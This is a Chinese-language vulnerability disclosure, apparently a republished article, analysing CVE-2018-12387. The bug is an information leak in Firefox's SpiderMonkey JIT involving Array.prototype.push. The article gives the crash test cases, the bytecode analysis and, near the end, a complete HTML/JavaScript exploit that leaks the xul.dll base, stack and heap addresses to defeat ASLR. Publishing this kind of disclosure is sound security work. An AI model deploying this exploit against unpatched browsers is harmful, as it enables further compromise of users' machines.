内容简介:研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。
前言
研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。
厂商回复
这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。
漏洞CVE编号
CVE-2018-12387
漏洞发现者
BrunoKeith和NiklasBaumstark,独立安全研究员,在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。
受影响的系统
Firefox 62.0 Firefox ESR 60.2
漏洞详情
在对Spidermonkey(Mozilla的JavaScript引擎,采用C++编写)进行模糊测试的过程中,我们用下面这段代码成功触发了一次调试断言(Debug Assertion):
functionf(o) {
var a = [o];
a.length = a[0];
var useless = function () {}
var sz = Array.prototype.push.call(a, 42,43);
(function () {
sz;
})(new Boolean(false));
}
for(var i = 0; i < 25000; i++) {
f(1);
}
f(2);
上述代码触发了如下所示的断言(Assertion):
Assertion failure: isObject() and crashes in release Build
根本原因分析
在运行JIT编译器生成的代码时,函数f生成了上述断言。
接下来,我们一起看一看JIT代码中的IR(中间表示):
我们可以看到上图中的arraypusht指令,关于该指令的内容可参考【 这篇文档 】。函数中的注释信息表示,调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言,因为在调用函数时,栈指针没有被正确恢复。
在了解了错误发生的场景之后,我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler,并通过peek()来获取栈地址值:
//Load lhs in R0, rhs in R1.
frame.syncStack(0);
masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0);
masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1);
// Call IC.
ICSetProp_Fallback::Compiler compiler(cx);
if(!emitOpIC(compiler.getStub(&stubSpace_)))
return false;
// Leave the object on the stack.
frame.pop();
这个操作码会被下列JavaScript代码执行:
functionf() {
var y = {};
var o = {
a: y
};
}
dis(f);
/* bytecode:
00000: newobject ({}) # OBJ
00005: setlocal 0 # OBJ
00009: pop #
00010: newobject ({a:(void 0)}) # OBJ
00015: getlocal 0 # OBJ y
00019: initprop "a" # OBJ
00024: setlocal 1 # OBJ
00028: pop #
00029: retrval #
*/
Handler告诉了我们这个操作码是如何被编译的:R0被设置为了stack[top-1] = o,R1被设置为了stack[top] = y,接下来内部缓存会设置R0.a = R1。由于栈地址偏移,在下面的代码中会执行stack[top].a = stack[top+1],因此我们可以在栈外获取一个JSValue:
vartest = {
a: 13.37
};
functionf(o) {
var a = [o];
a.length = a[0];
var useless = function () {}
useless + useless;
var sz = Array.prototype.push.call(a,1337, 43);
(function () {
sz
})();
var o = {
a: test
};
}
dis(f);
for(var i = 0; i < 25000; i++) {
f(1);
}
f(100);
print(test.a);
/*bytecode:
...
00034:lambda function() {} # FUN
00039:setlocal 1 # FUN
00043:pop #
00044:getlocal 1 # useless
00048:getlocal 1 # useless useless
00052:add # (useless + useless)
00053:pop #
00054:getgname "Array" # Array
00059:getprop "prototype" # Array.prototype
00064:getprop "push" # Array.prototype.push
00069:dup # Array.prototype.push Array.prototype.push
00070:callprop "call" # Array.prototype.push Array.prototype.push.call
00075:swap # Array.prototype.push.call Array.prototype.push
00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a
00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 1337
00083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 43
00085:funcall 3 # Array.prototype.push.call(...)
...
00104:newobject ({a:(void 0)}) # OBJ
00109:getgname "test" # OBJ test
00114:initprop "a" # OBJ
00119:setarg 0 # OBJ
00122:pop #
00123:retrval #
指令48只会将一个函数push进堆内存中,这样一来指令85(funcall)将不会抛出异常,因为它会尝试从栈中获取Array.prototype.push.call,但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double类型表示,而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。
漏洞利用代码
<script>
varconvert = new ArrayBuffer(0x100);
varu32 = new Uint32Array(convert);
varf64 = new Float64Array(convert);
varBASE = 0x100000000;
functioni2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE; ///
return f64[0];
}
functionf2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
functionhex(x) {
return `0x${x.toString(16)}`
}
vartest = {a:0x1337};
functiongen(m) {
var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);
var code = `
f = function(o) {
var y = test;
var a = [o];
a.length = a[0];
var useless = function() { }
useless + useless + useless + useless +useless + useless;
var sz = Array.prototype.push.call(a,1337, 43);
(function() { sz; })();
var o = ${expr};
}
`;
eval(code);
}
VERSION= '62.0';
functionexploit() {
var xul = 0;
var stack = 0;
var heap = 0;
var leak = [];
for (var i = 20; i >= 0; --i) {
gen(i);
for (var j = 0; j < 10000; j++) {
f(1);
}
f(100);
var x = f2i(test.a);
leak.push(x);
}
function xulbase(addr) {
if (VERSION == '62.0') {
var offsets = [
0x92fe34,
0x3bd4108,
];
} else {
alert('Unknown version: ' +VERSION);
throw null;
}
var res = 0;
offsets.forEach((offset) => {
if (offset % 0x1000 == addr %0x1000) {
res = addr - offset;
}
});
return res;
}
xul = xulbase(leak[1]);
stack = leak[0];
heap = leak[3];
var el = document.createElement('pre');
el.innerText = (
"XUL.dll base: " + hex(xul) +"\n" +
"Stack: " + hex(stack) +"\n" +
"Heap: " + hex(heap) +"\n" +
"\nFull leak:\n" +leak.map(hex).join("\n"))
document.body.appendChild(el);
}
</script>
<buttononclick="exploit()">Go</button>
* 参考来源: securiteam ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ImageMagick内存泄漏漏洞分析(CVE-2018-16323)
- Android通过RSSI广播泄漏敏感数据漏洞披露(CVE-2018-9581)
- Symantec终端防护内核内存信息泄漏漏洞分析(CVE-2018-18366)
- Android系统中通过RSSI广播泄漏敏感数据的漏洞详情披露(CVE-2018-9581)
- BUF大事件丨优衣库遭到黑客攻击,超过46万用户数据泄漏;CVE-2019-0708,又一个“WannaCry”级漏洞?
- BUF早餐铺 | 新蛋网用户信用卡数据泄漏;西数NAS出现严重安全漏洞,攻击者可获得完整访问权限;超...
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Transcending CSS
Andy Clarke、Molly E. Holzschlag / New Riders / November 15, 2006 / $49.99
As the Web evolves to incorporate new standards and the latest browsers offer new possibilities for creative design, the art of creating Web sites is also changing. Few Web designers are experienced p......一起来看看 《Transcending CSS》 这本书的介绍吧!